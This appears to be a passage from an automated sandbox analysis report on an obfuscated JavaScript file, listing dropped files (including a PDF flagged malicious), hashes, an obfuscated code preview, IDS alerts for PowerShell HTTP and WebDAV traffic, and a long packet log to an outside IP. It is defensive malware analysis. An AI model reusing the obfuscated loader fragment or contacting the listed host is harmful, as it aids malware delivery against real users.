Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d2f9d20d-f984-44d0-8c73-8b7576f7091c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f194bd04-1ce7-407d-93b3-8e4cd776dcc9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17947), with CRLF line terminators
Entropy (8bit):	4.911350566867431
TrID:
File name:	334130052300215064.js
File size:	21'503 bytes
MD5:	c19dfb48f5b57f0a1e0829a41a3068de
SHA1:	8cb253e558c8f798a12bd08fffb3fa2312e28a3e
SHA256:	262d34be47899dce86841aa170b98a429eeda5bc21594c1fa73148f94e0f7536
SHA512:	3846b028d2a5f3020a70459bd45c0a2a98825e6403268b7fe746e9c60f0108e6e2ee591a598d7096a546029d83851d04b855a7307472c8b947a259b3da848b28
SSDEEP:	192:D/1E+iqWmX1EuFYkgOB0gOBiv+9q2UcdaS5UTWoCTMc7kzv+/JdFIZh9GLGdtc+R:TO+XOaiq2NdaJnc7kjYJdCGKdDZLK8
TLSH:	7CA284E96F044616C8F146780EF706D78EE442C9EFA80D91E22199A42A7BDF197E74F0
File Content Preview:	function qxjdjps(){phmqot=[1031,3079,5127,4103,2055,3072];var kochxo=this[safmqaus+qipjrqg+svthe+rwdcxy+riddoqrra+wcooxcpus+jqbfeaehd+vabyw](this[axsvj+yfmeidzxz+zzewicq+svthe+mcitr+safmqaus+vabyw][fbnkrclx+svthe+riddoqrra+qipjrqg+vabyw+riddoqrra+yfqqus+h

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:32:13.977530+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.11	49778	193.143.1.205	80	TCP
2025-01-10T17:32:16.301791+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.11	49794	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:32:13.150944948 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:13.155729055 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.155808926 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:13.167252064 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:13.172085047 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977382898 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977442026 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977452993 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977463961 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977482080 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977494001 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977523088 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977530003 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:13.977534056 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977530003 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:13.977545977 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977559090 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.977598906 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:13.977598906 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:13.982424974 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.982439995 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.982453108 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:13.982707024 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.034651995 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.034666061 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.034806013 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.097829103 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.097842932 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.097899914 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.097934008 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.097945929 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.097958088 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.097973108 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.098012924 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.098114014 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.098479986 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.098501921 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.098556042 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.098568916 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.098581076 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.098628998 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.098628998 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.099339008 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.099405050 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.099422932 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.099428892 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.099442005 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.099455118 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.099490881 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.099490881 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.100203037 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.100215912 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.100229979 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.100253105 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.100260973 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.100308895 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.100342035 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.100956917 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.100996971 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.169125080 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.169141054 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.169234991 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.198674917 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.198723078 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.198734999 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.198745966 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.198771954 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.198836088 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.218806028 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.218821049 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.218837023 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.218849897 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.218863010 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.218875885 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.218890905 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.218952894 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.219183922 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219207048 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219219923 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219234943 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219234943 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.219234943 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.219279051 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.219537973 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219611883 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219623089 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.219624043 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219640970 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219654083 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219666958 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219679117 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.219697952 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.219697952 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.219794035 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.220496893 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.220513105 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.220525026 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.220573902 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.220588923 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.220598936 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.220599890 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.220621109 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.220633984 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.220642090 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.221344948 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.221421003 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.221436024 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.221451044 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.221472025 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.221481085 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.221481085 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.221487045 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.221499920 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.221538067 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.221538067 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.222294092 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.222337008 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.222349882 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.222362041 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.222376108 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.222388983 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.222400904 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.222400904 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.222404957 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.222544909 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.257733107 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.257776976 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.257813931 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.257848978 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.257863998 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.257863998 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.287297964 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.287353039 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.287395954 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.333008051 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.336652994 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.336695910 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.336738110 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.336771965 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.336776972 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.336816072 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.336958885 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.338803053 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.338839054 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.338872910 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.338901043 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.338938951 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.338969946 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.338973999 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339010000 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339020014 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.339083910 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339118004 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339148998 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.339186907 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339221954 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339241982 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339277983 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339306116 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.339306116 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.339449883 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339490891 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339533091 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.339548111 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339584112 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339620113 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339672089 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.339672089 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.339926958 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339962959 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.339999914 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340035915 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340071917 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340089083 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.340089083 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.340106010 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340142965 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340174913 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.340430975 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340466976 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340502024 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340526104 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.340590954 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.340603113 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340656996 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340696096 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340745926 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.340750933 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340786934 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340815067 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.340821981 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340858936 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340893984 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340943098 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.340943098 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.340948105 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.340982914 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341022968 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341058969 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.341506004 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341562986 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341598988 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341633081 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341651917 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.341651917 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.341669083 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341706038 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341746092 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341780901 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341794014 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.341794014 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.341816902 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341854095 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341888905 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341929913 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.341942072 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.341942072 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.342483044 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342519999 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.342561007 CET	49778	80	192.168.2.11	193.143.1.205
